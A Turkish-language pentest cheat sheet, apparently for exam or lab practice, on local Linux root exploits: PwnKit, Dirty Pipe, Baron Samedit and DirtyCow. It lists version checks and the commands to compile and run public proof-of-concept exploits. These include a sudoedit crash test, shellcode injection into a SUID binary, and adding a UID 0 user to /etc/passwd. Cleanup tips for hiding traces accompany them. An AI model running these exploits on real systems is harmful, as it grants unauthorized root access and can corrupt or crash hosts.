FOOTHOLD Metodoloji Cheat-sheet
PrivEsc ⚠ RESTRICTED orta

Bilinen Yerel CVE'ler: PwnKit, Dirty Pipe, Baron Samedit, DirtyCow

Dört yaygın yerel root CVE'sinin tespiti ve istismarı: PwnKit (CVE-2021-4034, pkexec), Dirty Pipe (CVE-2022-0847, kernel 5.8+), Baron Samedit (CVE-2021-3156, sudo heap), DirtyCow (CVE-2016-5195, eski kernel). Her biri için sürüm tespiti + public PoC akışı.

Bilgi: ÖN KOŞULLAR
  • Düşük yetkili shell
  • Hedef sürümün ilgili CVE aralığına düşmesi
  • Derleyici veya statik derlenmiş PoC transfer imkânı
┌──

Komutlar

pkexec ✓ EXAM-SAFE user
pkexec --version; ls -l $(which pkexec)
PwnKit tespiti: pkexec varlığı ve SUID biti. polkit < 0.120 zafiyetli. Qualys — PwnKit (CVE-2021-4034); HackTricks — Linux PrivEsc
PwnKit ⚠ RESTRICTED user
gcc -o pwnkit PwnKit.c; ./pwnkit
CVE-2021-4034 PoC derle ve çalıştır; SUID pkexec ile root shell. ly4k/PwnKit; berdav/CVE-2021-4034
uname ✓ EXAM-SAFE user
uname -r
Dirty Pipe tespiti: kernel 5.8 ile 5.16.11/5.15.25/5.10.102 arası zafiyetli. Max Kellermann — Dirty Pipe (CVE-2022-0847)
dirtypipe ⚠ RESTRICTED user
gcc dirtypipez.c -o dirtypipez; ./dirtypipez $(find / -perm -4000 2>/dev/null | head -1)
CVE-2022-0847: bir SUID binary'sine zararsız kabuk enjekte ederek root. SUID hedefini argüman ver. AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits; Max Kellermann PoC
sudo ✓ EXAM-SAFE user
sudo --version; sudoedit -s '\' $(python3 -c 'print("A"*1000)')
Baron Samedit tespiti: sudo < 1.9.5p2. İkinci komut crash/segfault verirse muhtemelen zafiyetli. Qualys — Baron Samedit (CVE-2021-3156)
CVE-2021-3156 ⚠ RESTRICTED user
make; ./sudo-hax-me-a-sandwich 0
CVE-2021-3156 heap overflow PoC; libc/distro offset'ine göre 0/1/2 hedef seç. blasty/CVE-2021-3156; worawit/CVE-2021-3156
uname ✓ EXAM-SAFE user
uname -r
DirtyCow tespiti: kernel < 4.8.3 (yaklaşık) zafiyetli; eski makinelerde dene. Phil Oester — DirtyCow (CVE-2016-5195)
dirtycow ⚠ RESTRICTED user
gcc -pthread dirty.c -o dirty -lcrypt; ./dirty
CVE-2016-5195: /etc/passwd'a firefart root kullanıcısı yazar (dirty.c varyantı). su firefart ile root. FireFart/dirtycow (dirty.c); HackTricks — DirtyCow
dirtycow ⚠ RESTRICTED user
gcc -pthread cowroot.c -o cowroot -lcrypt; ./cowroot
DirtyCow alternatif varyant: bir SUID binary'sini geçici olarak ele geçirip root shell. Exploit-DB EDB-40616; HackTricks — DirtyCow

Genel Yaklaşım

Bu sayfa dört “hazır” yerel root CVE’sini kapsar. Her birinde akış aynı: sürüm tespiti → CVE aralığı doğrulama → public PoC derleme/çalıştırma → cleanup. PoC’leri her zaman kaynaktan oku; özellikle /etc/passwd’ı değiştiren varyantlar makinede iz bırakır ve sınavda kararsız olabilir. Tümü examSafety: restricted çünkü gerçek exploit çalıştırma içerir ve bazıları hedefi çökertebilir.

PwnKit — CVE-2021-4034 (pkexec)

polkit’in pkexec aracındaki bellek bozulması. Tespit: sistemde SUID pkexec varsa ve polkit sürümü 0.120’den düşükse zafiyetlidir — pratikte 2009-2022 arası neredeyse tüm dağıtımlar. Çok güvenilir ve kararlıdır, bu yüzden modern lab’larda ilk denenenlerdendir. PwnKit.c’yi gcc ile derle ve çalıştır; anında root shell verir. Self-contained tek-dosya PoC’ler (ly4k, berdav) en pratikleridir.

Dirty Pipe — CVE-2022-0847

Linux kernel’de pipe page cache mantık hatası; salt-okunur dosyalara yazma imkânı verir. Aralık: kernel 5.8’den 5.16.11 / 5.15.25 / 5.10.102 yamalarına kadar. İki ana sömürü yolu var: (1) salt-okunur bir SUID binary’sine küçük shellcode enjekte edip root shell almak (dirtypipez), (2) /etc/passwd’daki root parola alanını ezmek. SUID hedefi olarak find / -perm -4000 ile bulduğun bir binary’i argüman ver. Kararlıdır ama kernel sürüm aralığına tam uyması şarttır.

Baron Samedit — CVE-2021-3156 (sudo)

sudo’da heap tabanlı buffer overflow; sudoedit -s ile tetiklenir. Aralık: sudo 1.8.2–1.8.31p2 ve 1.9.0–1.9.5p1. Tespit: sudo --version ve crash testi (sudoedit -s '\' + uzun argüman segfault verirse aday). Önemli uyarı: exploit libc ve dağıtım offset’lerine bağlıdır. blasty/worawit PoC’leri birkaç önceden ayarlanmış hedef sunar (0/1/2); doğru olanı seçene kadar deneme yapman gerekebilir. Yanlış offset crash verir ama makineyi genelde devirmez.

DirtyCow — CVE-2016-5195

Copy-on-write yarış koşulu; eski kernel’lerde (< ~4.8.3) çalışır. Tespit: uname -r ile eski kernel görürsen dene. İki popüler varyant: dirty.c (FireFart) /etc/passwd’a firefart adlı UID 0 kullanıcı yazar — sonra su firefart; cowroot.c ise bir SUID binary’sini geçici olarak ele geçirir. Önemli gotcha: DirtyCow /etc/passwd’ı kalıcı bozabilir ve bazı kernel’lerde sömürü sonrası sistemi kararsızlaştırır (race condition). FireFart varyantı çıkışta orijinal passwd’i geri yüklemeyi dener ama her zaman başarılı olmaz — bu yüzden sınav makinelerinde son çare olarak ve dikkatli kullan.

Cleanup ve Sınav Disiplini

  • /etc/passwd değiştiren PoC’lerden sonra orijinal satırı geri koy; iz bırakmamak ve makineyi bozmamak için.
  • Hangi PoC’yi neden seçtiğini ve hangi sürümün hangi CVE’ye düştüğünü not al (rapor için).
  • Önce misconfig yollarını dene; bu CVE’ler güvenilir olsa da exploit çalıştırmaktır — lnx-privesc-kernel sayfasındaki son-çare disiplinini uygula.
  • [UNVERIFIED] Baron Samedit ve DirtyCow için kesin offset/sürüm sınırları distro yamalarına göre kayabilir; çalıştırmadan önce hedef sürümü PoC README’siyle karşılaştır.
┌──

Kaynaklar

0/15 set